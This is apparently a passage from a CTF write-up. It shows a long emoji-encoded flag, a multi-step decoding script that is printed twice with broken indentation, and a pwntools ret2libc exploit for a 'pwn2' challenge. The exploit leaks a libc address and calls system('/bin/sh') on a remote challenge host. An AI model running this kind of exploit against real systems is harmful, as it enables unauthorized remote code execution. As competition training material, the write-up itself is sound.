🐚👍👫👜🐟👫👡👄👏🐹👀👑🐌👑👢👋👣👅🐜👊👢👫👎👙🐟👅🐫👋👢👑👉👜🐜👛👐👑🐌🐬👎👙🐿🐹👑👍👡🐹👊👈🐚👛🐟👙🐿👅👟👉👱👣👏👌👀👯👑👄👣👍👫👛🐻🐹👟👄👌👧👱👐🐧👉🐟👍🐚👀👱👘🐜🐹👑👍👀👉🐟👑👌👛👆👉🐩👅🐟👘🐜👛👅👄👌👧🐬👍👀👯👊👊🐚👈👯👊👏👟👏👙👣👑👋👐👢👌🐚👙🐚👉👎👘🐌👅👣👍👣👧🐿👍🐩🐚🐧👍👢🐚👏👌👢👟👎👄👥👟👭👐👋🐜👂👉👣👅👪👑🐜👍👎👍👢👧👀👍👡🐹👘👚🐩👅👪👍👥 👅👌👙🐟👉👆👍👣👚🐫👜👍👑👫👄👋👉👉👄👎👉🐿👍🐩🐬👆👘👣👁👐👌👀👟👎👙👋🐜👋👌🐧👑👎👛🐟👅🐭👍👣👛👅👍👥🐹🐭👍🐩👫👍👄👍👉👫👊👣👟👟👉👋👣👏👐👣👉🐟👄🐚👍👚👉👥👅👏👉👢👧👑👐👌👛🐟👌🐚👐👰👘🐜👣👏👍👣👁👃👐👡🐜👎👍🐚👛👬👌👀👫👋👉🐚👁👎👍🐜👑👘👛🐧🐚🐟👚🐌👑👟👉🐪👉👏👌👀👯👮👜👣👢👮👘🐿👛👏👉👀👉👁👌👎👫👊👍🐩🐌👯👍👡👉👎👄🐜👧👏👐🐩🐚👂👉🐚👛👩👅👎👣👠👉👏🐹🐩👍👡🐜👘👘🐧🐬🐟👌👏👟👋👙👢👧👇👍👀🐚👊👙🐚👍👫👅👌👅👡👉👣👑👯👌🐩🐧🐬👍🐚👑👪👚🐌👟👎👍🐪👉👩👐👋🐞👯👍🐩👁🐌👌👣👟👟👄 👀👟👌👎👍👉🐟👊👀👍👪👉👥👍👉👙🐜👧👊👐👋🐜👮👋👍👑🐿👄👋👉👑👍🐧🐬👱👐🐧👍👎👍👀👁👏👜🐌🐰👎👙👏👟👘👋👍👑👘👎🐟👍🐿👆👎 👧👅👘🐚👐🐚👍👀🐧🐚👊🐚👛🐿👊👢👟👣👉👀👟👘👐👢👛👊👛👣👣👍👎👥👅👎👙🐟👉🐚👎👢👑👆👍🐩🐌👱👈👏👛👏👘🐚👑👟👍🐻🐜👊👚🐚 👛👐👘🐜👉👟👙🐌👧👐👎👍👛🐧👛👢🐚🐟👍👡👑👊👙👏👉👋👋👍👌🐚👎👣👣👩👑🐟🐰👍👄👢👧👐👐👌👑👪👎🐜👐👱👘🐿👑👎👍🐌👑👩👌👡 🐜👮👉🐚👧🐿👉👣👅👎👉🐪👟🐫👍👢👑👘👐👎👈👮👄👍👛👎👙👣👁👪👌👣👉👪👙🐚👑👫👛🐿👅👆👉👣👍🐬👋👣👚🐬👍🐧🐚👍👚🐻🐹👎👍👀👟 👩👍🐧👑👘👚🐩👅🐜👛🐟🐜👎👍👥🐹👐👍👡🐜👢👉🐚👀👰👉👢👟👠👉👀👟👋👐👋👅🐹👜👍👑👫👜🐟👫👢👄👌👣🐫👐👢👑👊👍🐩👁👩👅👍👣 👎👄🐟👈🐧👐👱🐜👎👚🐚👧🐟👋👣👟👊👙🐌👧👑👎👢👍👘👘🐚👈👯👊👥👉👢👉🐌🐬👐👐👋👁👅👄👍👐👮👎👢👫👡👄👢🐬🐜👌👎👯👢👍🐧🐧 👰👘🐜🐜👎👄👍👧👟👎👍👛👅👜👍👉👩👘🐟👟👊👙👢👁👇👎👎🐧👯👙👀👍👪👎👣👟👡👉👎👉👩👋👍👍👪👅👍👍👫👛🐟👫👎👍🐧👐🐩👍👀👪 🐬👎👀👁🐿👌👥🐜👘👍👍👧👟👑🐌👌👯👍👍👍👫👘🐌🐬👠👉👍👢👮👍👣👛🐫👙🐩👀👰👉👣👛👋👙👣👁👊👌👀👯👮👐👍👑👩👍👥👛👎👉👣👣🐪 👍🐩🐬👆👘🐚👀👯👎👢👛👘👉👎👉🐪👍🐟👯👘👚🐚👛👐👚🐜👛👅👙👣👁👊👍👢👉👂👉🐩👅👩👄👍👛👟👉🐪👟👌👌👡👅👊👎👍👑🐟👐👱🐜👠 👄👢🐬👱👍🐩👫👎👌🐩👁👍👎👥👁👎👙👏👉👟👑👎👯👢👚👣👛👬👑🐜👛👅👍👀👮🐧👍👎🐚👮👋🐚👐👰👉👥👁👋👙👎👟👎👋👎👧🐟👌🐚👧👎👎 👣👅👡👙🐟👉🐧👐👌👑👆👘👎🐌👮👚🐜🐜👎👙🐟👅🐪👋👍👑🐜👛🐧🐚👐👋👣👟👠👘🐚👧👍👎👎🐧🐚👈🐩👄👯👍👥👉👡👜👢👑👌👍👀👯👘👄🐜👧🐜👑🐌👛👟👍👢👧👰👐🐧👉🐺👍🐚👑🐭👈👋🐜👎👄👥👟👟👌👀👪🐚👍👣👍👪👎👢🐬👎👙👢👁🐬👍👀🐚🐫👐👍👈👰👋👣👛👎👙👣👁👊👌👣👉👎👙🐚👧👏👜🐜👛👅👄👍👧🐧👋👌👟👊👋👣👀👮👍👡👉👑👘🐚👧👩👍👢👑👢👊🐟👍🐿👆👍👑👠👙👢👁🐭👍👀🐚🐫👐👎👅👪👎👥👁👢👉👣👑 👋👐👢👟🐺👎👣👛👪👍👀👫👊👄👢👑👰👋👍👑👪👌👀🐌👱👈👣👣👑👍🐌👑🐪👍👌👑👘👊🐟👍🐿👉👀👫👊👄👌👢👰👍👎🐚🐫👘🐩🐜🐜👄👍👣 👉👘👢👧👐👍🐧👟🐺👊🐜👑👫👄👍👛👎👄👌🐬👱👐👢👛👪👌🐧🐚👫👘🐜👑👎👍🐪👟👏👑🐻🐜👢👉🐚👧🐟👘🐟👯👊👜👀👯👎👎👎👯👘👐👍👅🐟👙🐜👍👌👙👏👉👐👌👡🐹👮👊🐜👢👮👘🐌👫👎👍👣👧👱👐🐧👉👆👐👍👑👪👚🐻👅👍👙👏👟👟👍👣👑👂👛🐟🐜🐟👑🐟👟👅👄🐌👐🐧👍👀👯👘👘🐩👈👯👍👏👟👏👎🐟👟👐👐👋🐜👮👚👍👍👩👍👋🐜👎👄👍👧👰👍👀🐚🐟👘🐜👁👫👛🐻👍👑👜👢🐬👭👍👡🐞👯👎🐜👍👚👈👣👧👟👄👏🐹 👈👍👣👉👂👉👀👍👪👉👥👅👡👉👀👉👧👌👡🐞🐧👜👣👛👪👍👀👫👋👙👍👑👏👍🐩🐬👎👍👎👁🐿👘🐿🐹👑👎🐿🐹👏👍🐩👯👢👎🐟👍🐿👆👍👑👅👍 👥🐹👐👍👀🐧🐚👉🐚👌👰👊👣👑👏👙🐜👑👎👐👣👟👊👜👣👉👪👎👥👛👎👙👌👑👀👑🐌👑👢👋👣👁🐜👎👣👟👏👍🐌👁👟👐👡🐜👢👛🐜👁👬👊👢 🐰👎👉👋👍👐👍🐜👍👘👛🐚👣👎👚🐜👟👣👉👎👉👚👐👣👍👘👊🐜👛👩👑🐟🐰👟👉👋🐹🐪👌🐩👯👂👍🐩👁👌👉👡👅👍👘👢👑👘👑👍👑👎👚🐚 👧🐟👍👀👣👟👜👣👑👑👍🐚👛🐫👘🐧🐬🐟👎👢👛👍👙🐟👉👏👐👀🐚👊👎🐜👣👩👎👥👅👆👉👀👉👰👍👎👯👆👘🐜👑👌👉👥👣👑👘🐚👁👇👍👣 👛👂👉🐩👅👀👊👣👛👅👉🐚👁👄👎👏👧🐟👋🐩👅👩👆👍👛👏👙👎👟👆👍👀🐬🐺👛👣👐👯👑🐿👛👊👄👍👍🐫👍🐚👟👊👐👍👅🐟👎👣👑👑👎🐿🐹 👱👍👢👑👪👚👣👧🐌👋👢🐬👎👙🐿🐹👁👎👣👍👘👐👍👈👯👎👏👛👏👘🐩👯👎👋👎🐬👊👘🐜👣👏👜🐌👫👏👉👣👑👱👎👢👑👎👍🐧🐧👮👊👢👣👏👘🐩👈🐧👎👍👛👊👉👢🐚👎👎👀👫👊👙🐌👧👌👎👎👫👘👛🐧🐬👪👎👥👅👘👉🐜👁👘👍👀👯👂👜👣👌👰👅👍👛👍👙👌👧👐👐👌👑👪👎👀🐌👯 👚🐻👅👑👄👥👟👟👐🐚👑👂👚👢🐰👎👋👢🐬👎👍🐜👍🐫👍👀👯👡👜🐌🐚🐟👍👏👣👊👘👣👧👏👐👀🐚👊👎🐜👑👬👚🐌👁👣👉👣👑👐👐👱👅👊 👍🐧🐚👏👌👣👧👑👍👍👧👭👐👍👑👁👜🐜👅👫👘🐜👛👠👎🐌👁🐌👍👀👧🐹👄👍👀👯👑🐿👅👟👉👋👣👏👐👏👧👎👎🐜👑🐟👑🐻🐹👢👄👣👑👏👍 👎🐬👆👎🐟👁👩👅👍👣👑👙🐜👑👏👋👢👑👩👛🐚👧🐿👆👍👛👅👉🐌👑👀👎👋🐹👊👛🐚👐👰👊👢👛👡👉👢👁👘👑👎👫👘👌🐜👢👰👚👱🐜👎👄👍👁🐧👐👢👑👆👘👍👛🐟👉👏👟👎👙👋🐌🐧👐👎🐚👎👉👢🐚👍👎👢🐬👎👍🐩👟👌👎👎🐚🐧👛🐚👈👯👎👥👉👅👍🐜👁👎👋👍👛🐫👍👣👑🐿👛🐌🐰👏👉👢👧🐧👑👌👟👮👎👣👑👏👋👋🐜👎👘👢👑👃👑🐌👛👎👉🐩🐜🐟👑🐌🐬👠👙🐌👐👱👍🐚👑👢👜👀👍🐿👋👥👁👆👍👣👧👊👌👀🐬🐺👙🐚👉👎👘🐌👅👅👙🐜👧🐧👐🐧👍👂👘🐧🐚👪👎👢👟👎👉👱👍🐿👍👢👛👂👊🐜👍👪👘🐜👧👟👄👍👊👱👍👎👫👘👐👍👀👯👑🐿👉👢👉👣👑👧👍👀👯👮👊👍👛👌👈👣👛👡👄👍👧👀👌🐩👯👊👘🐜👁👪👊👣👑👎👘🐚👑🐪👑🐟👯👘👚🐚👛👫👉👣👅👅👍👥🐞👮👍👎🐧👯👄🐜👉👫👉👏👟👡👉👎👯👏👐👎 👫👩👜🐜👑👌👉👣👅👡👄👍👁👰👐👌👛👊👌🐩👁👎👊👣👛👎👙👋🐌🐧👎👍👛👎👚🐚👍👬👊👣👟👠👍👍👧👑👍👎👯👊👍🐚👐👯👌👏👟👏👙👋👣👎👋👌👉🐟👊👣👍👏👜🐟🐰👎👄👢👑👰👐👥👧🐺👎👣👑🐜👎👀👟👘👉👍👧👇👐👱👁👂👊🐟🐜🐟👋👣👅👎👉👣👧👐👍👀🐧👯👅🐜👣👏👌👏👣 👊👘🐩👉👐👍🐧👛👊👎🐜👑👩👍👀🐜👏👉👀👯👰👍🐩👫🐧👙🐟👁🐿👌👥👣👎👙🐜👁🐿👐👌👑👂👍👍🐜👚👋👣👑👅👙👣🐜🐪👍👀👧🐹👜🐜👐👰👋👢👛👟👉👀👉👊👐👋🐜👮👎🐜👛👪👍👀🐜👟👄👢🐚🐬👌👀👫👢👍👀👁👏👘🐌🐰👑👘🐚👑🐪👋👢👑👘👚🐚👧👀👑🐜👉👅👘🐩👮🐧👍👡🐜👊👙 🐚👑👫👊👢👛👡👉🐩👟👎👐👣👟👅👜🐜👐👯👎👣👛👢👉🐚👑🐿👎👢👌🐚👋👣👑👫👛👱🐜👏👘🐚👑👋👌👋👁🐟👉👢🐚👎👎👀👣👊👉👋👍👎👎👎👫👘👐👎👅👪👎👥👅👘👉👏👉👋👋👎👪🐚👊👣👌👰👜🐟👫👍👄🐻🐹🐬👐👌👚🐬👍🐩🐜👩👊👥👁👎👍👱🐜👏👑🐌👑👊👚👣👧🐿👉👣👅👅👙👀👟👘👍👣👛👮👊🐩👀👯👎👥👅👏👙👢🐬👊👌🐧👛👊👌🐚👣👪👎👀🐜👋👉👣👧👀👑🐌👛🐧👍🐚👐👮👚🐌👣👘👍👎👟🐻👍👀🐚👂👎👍👉👐👘🐜👧👟👘🐚👧👌👍👡🐹👢👍🐚👁👫👌👢👛👘👉🐩👯👋👋👍👍👮👐👍👑👩👎👀🐜👠👄👣🐜🐫👍👎🐬👆👎🐟👁👩👅👏🐜👍👙👋🐜👭👎👍👑👪👍👍👅👫👆👍👑👊👙🐿🐹🐫👍👋👁🐧👄🐜👐👰👊👢👟👍👙👥🐹👘👍👣👑👮👄🐚👣👍👍👏👟👏👍👢👑👑👐🐧👑👢👌🐩👁🐟👚🐟🐰👏👘🐚👁🐿👎👍👛👊👉🐚 👅👬👊👀👟👊👄🐚👁👌👎👎👫👘👛🐩👉👪👑🐿👅👘👉🐌👁👘👍👀🐚👊👜👣👛👩👘🐌🐰👎👄👢👧👎👍🐩🐧🐬👍👍👑👪👚🐿👧👌👍🐌👑👋👍👡👁🐟 👉👣👧🐟👑🐌🐬👟👄🐧👀🐚👍🐚👉🐺👐👎👀👯👎👏👣👊👎🐟👟👐👐👎👪🐚👎🐜👍👪👎👥👛👎👄👏🐹👎👍🐩🐚🐧👘👀👁👀👈👢👣👑👄🐟👉👱 👍👢👑👂👍👀👅🐜👚🐜👛👠👍🐌👀🐧👎👣👛👱👜🐜👐👯👑🐜👣👠👉👣👁👊👋👎👯👂👎👍👛👎👑🐻👉👋👄👎👉🐿👍👎👯👢👎🐟👁👫👌👀🐰👍👙 👋🐜👋👍🐧👑👑👜👎👅🐭👉👀👣👊👘🐪🐞👯👍👍👛🐧👙🐚👛🐿👉👏👟👡👉👢👁👘👍👀🐚👊👉🐚👧👍👑🐌🐰👊👄👢🐬🐿👐👌👑👢👋👢🐚👍👚🐻 👍👎👄👎👉🐪👌👡👁🐜👜🐜👅👐👙🐜👉👟👄👥👟👍👎👎👫👢👙🐩👅🐟👙🐿👅👏👘🐪👉👪👐👢👑👮👄🐜👉👍👘🐟🐰👎👘👱🐜👐👍👎🐬👮👎👣👑🐜👅👏👁👎👘👢👧👃👍🐚👑👎👚🐩🐜🐟👍👣👛👅👄👌👣🐭👍👀👧🐺👐👍👐👰👌👢👟👌👘🐚👧👈👍👀🐚👊👎🐜👣👩👘🐌👅👆👙🐟👉👍👌👎🐧 🐬👍🐌🐚👎👙🐻👅👌👍👣👑👭👍👀🐚🐜👜👀🐜🐟👘🐜👍👎👍🐚👁👌👍👡🐹👘👍👀👍🐟👑🐿👅👌👙👏🐹👆👐👏👧👎👊👍👐👰👛🐟🐜👌👄👍👣🐬👌🐩👯👎👘🐟👍👩👚🐜👟👑👙🐜👁🐿👋👋🐜👎👚👍👁👬👋👣👟👊👘🐪🐹👘👎👍👍👢👉🐚👌👯👎👏👣👟👉👀👯👐👍👀👯👂👋🐜👣👚👉👣👛👎👄 👎👉🐚👍👎🐚🐧👍🐜👀👯👊👣👛👎👉👣👧👟👑🐻🐞👯👉🐩👅🐜👎👀👟👊👄🐚👁👐👍👎🐚🐫👛🐩👍👪👘🐪👛👟👊🐟👉👐👌👡🐹👎👅🐜👌👰👜 🐜👅👎👄🐻🐜🐚👐👌👛👊👐👍👁👏👌👣👟👍👘👢👧🐿👌👡🐜👢👚👢🐬👏👙🐟👣👎👄👀👚👯👍👀👧🐟👐👎🐌👮👅👌👛👍👎🐟👟👌👐👀👫👮👌🐜👑👫👄👍👅👟👉👣👑🐧👋👣👍👆👘👣👁👪👎👡🐹👘👉👎👟👩👍👢👑👘👚🐩👅🐌👈👀🐜👊👍🐚👁👀👍👡🐹👢👊🐚👐👯👑🐿👅👠👉👀👉👧👍🐧👑 👂👅👣👑👫👜🐟👫👋👄👎👉👏👌👀🐬👎👌👀👁🐟👚🐟🐰👑👍🐌👑🐪👍🐜👑👘👊🐌🐚👌👌👣👧👎👄🐻👍🐭👎👍👉👆👛🐩🐜🐟👊👏👣👣👉👋👣 👏👐👣👟👊👐👍👉👍👎👀🐜👡👍👢🐬👯👌👎👯👮👍🐩👁👎👊👢👧👎👍👱🐞👯👍🐻👁🐟👚🐚👅👬👌👀👟👊👙👎👟👟👍👀👫👎👐👎🐜🐟👚🐜👛👏👙👀👉👏👐👢👛👊👄👍👑🐿👄👏👛👎👄👢👍🐭👌👎👧👘👎🐜👑🐜👊👥👁👌👘🐚👧👎👑👍👑👆👚🐚👧🐟👌👀👣👎👍👥🐹👘👍👀🐚🐧👍🐚👄👰👋👥👅👠👊🐌👑👋👐👢👑👮👚👣👉👍👌👢👛👏👙🐜👧👐👋👍👚🐬👍👢🐚👪👎👡🐹👘👍👍👧👱👍👡👁👂👎👍🐜👪👈👣👛👎👉👍👧👰👍👎👧🐟👛 🐚👀👯👚🐌👛👟👉🐩👯👊👑👎👯👘👎👣👑👩👎👀👫👣👘👱🐜👏👍🐟👫👢👎🐜👛🐿👜🐿👅👍👙👥🐹👱👐👡🐜👘👛🐌🐚👎👋👣👉👊👙🐜👐🐚👍🐟👯👊👋🐚👐👮👄👏👁👡👉👣👧👎👐👢👑👂👉🐜👐👮👎👀🐜👡👄👍👧👯👍👎👯👘👘🐟🐌👱👈👣🐜👎👍🐪🐹🐿👐👋👁👅👜👍👁👩👘🐟👟👊👄🐩👟👮👍👡🐹👢👙🐩🐜🐟👎👥👉👣👉🐪🐹👪👌👣👉🐟👊👍👑👎👘🐿👅👎👄👢👧👀👍👎🐧🐬👍👍👑🐜👚🐜👉👎👄👍👧👱👑🐌👌👯👍🐚👉👪👘🐜👅👠 👉👏🐹👘👍🐩👫👎👐👎🐌👯👌👏👟👋👙👣👁👩👌👢👌🐚👎👍👣👌👊👢🐬👅👍👣👣🐪👍🐩👫🐧👘👢🐚👩👅👌👧👑👄🐜👧🐪👍🐟👯👁👜👍👊👱👚🐜👛👠👎🐌👁👄👍👎👧👂👋🐩👄👯👚🐌👣👌👙🐜👧👧👌🐧👍👂👌🐜👛👏👄🐿👟👠👙👍👑👱👍🐩👯👊👘👣👁👏👌👥👁👌👍👣👌👯👌🐚👑👍👜👎👉🐿👆👎👟👊👘🐩👮🐩👎👍👍👊👈🐚👑👫👊👣👍👎👘🐚👁👐👍👀👯👮👘🐜👧🐜👑🐌🐰👊👙🐿🐹👀👐👌👛👪👍🐩👁👀👈👢👫👎👙👋🐹🐪👋👍👑👅👜🐜👍👬👋👣👟👠👙🐌👧👏👎👎👫👢👅🐜👛🐟👌👣👑👘👉👢🐬👩👐👢👑👪👅🐜👐👰👅👌🐰👟👄👌👣🐫👍🐩👫👢👐👍👁👏👌👡👅👎👉🐪👟👟👐 👱👁👆👉👍👍👪👑🐜👛👠👍👋👈👮👍👣👛👮👉🐩🐌👯👊👏👟👌👙👣👑👎👐👣👟👊👍👍👍👚👋👀🐰👏👍👣👧🐿👎👏👧🐟👍👀👁👎👉👡👉👎👄👡 👍🐿👍👎👯👢👊🐟🐜🐟👘🐜👍👎👄🐧🐚🐫👍👋🐹👘👚🐩👅👪👑🐿👅👘👉🐩👟👏👐👋👅🐺👅👣👛👏👛🐜👅👌👄👍👣🐬👌🐩👯👎👌🐚👑🐜👊👣👣👎👙👋🐜👋👍🐻🐜👮👍👣👛👬👑🐜👉👎👙🐌👧🐭👎👍👍👢👚🐚👌👰👊👢👣👉👙🐿🐹👏👐👣👉🐺👅🐜👉👍👑🐜👁👢👄🐻👍👏👎👢👑👊👘👍👁👬 👈👣👧👏👍👣👁🐿👑🐻🐜👎👍🐚👛👬👌👀👫👊👎🐜👁👏👍🐜👑👘👐👍👅🐟👎👣👛👟👉🐪👉👎👍👀👯👘👍👣👉👍👌👥👁👈👌👋🐧🐰"
flag = flag.replace(" ", "")

# 第 1 步Base100 解码
decoded_flag = base100_decode(flag)

for _ in range(20):
decoded_flag = base64_decode(decoded_flag)

decoded_flag = atbash_cipher(decoded_flag)


for _ in range(21):
decoded_flag = string_reverse(decoded_flag)

print(decoded_flag)

decoded_flag = caesar_decrypt(decoded_flag, 8)

print(decoded_flag)

flag = flag.replace(" ", "")

decoded_flag = base100_decode(flag)

for _ in range(20):
decoded_flag = base64_decode(decoded_flag)

decoded_flag = atbash_cipher(decoded_flag)

for _ in range(21):
decoded_flag = string_reverse(decoded_flag)

print(decoded_flag)
decoded_flag = caesar_decrypt(decoded_flag, 8)

print(decoded_flag)

Pwn

pwn2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
from ctypes import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
def s(a) : io.send(a)
def inter() : io.interactive()
def debug():
gdb.attach(io)
pause()
def get_addr() : return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def inter() : io.interactive()
#io = process('./pwn')
io = remote('vt.jnxl2023.sierting.com',31613)
elf = ELF('./pwn')
move=0x10
def get_addr():
return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
#地址
pop_rdi=0x4011e3
ret=0x40101a
function_got=elf.got['puts']
function_plt=elf.plt['puts']
main=elf.sym['main']
#payload1
payload1=b'a'*(move+8)+p64(pop_rdi)+p64(function_got)+p64(function_plt)+p64(main)
io.recvuntil(b'gift:\n')
io.sendline(payload1)
tgtaddr=get_addr()
#print(hex(tgtaddr))
libc=LibcSearcher('puts',tgtaddr)
addr=tgtaddr-libc.dump('puts')
binsh=addr+libc.dump('str_bin_sh')
sys=addr+libc.dump('system')
payload2=b'a'*(move+8)+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(sys)
io.sendline(payload2)
io.interactive()
Share Comments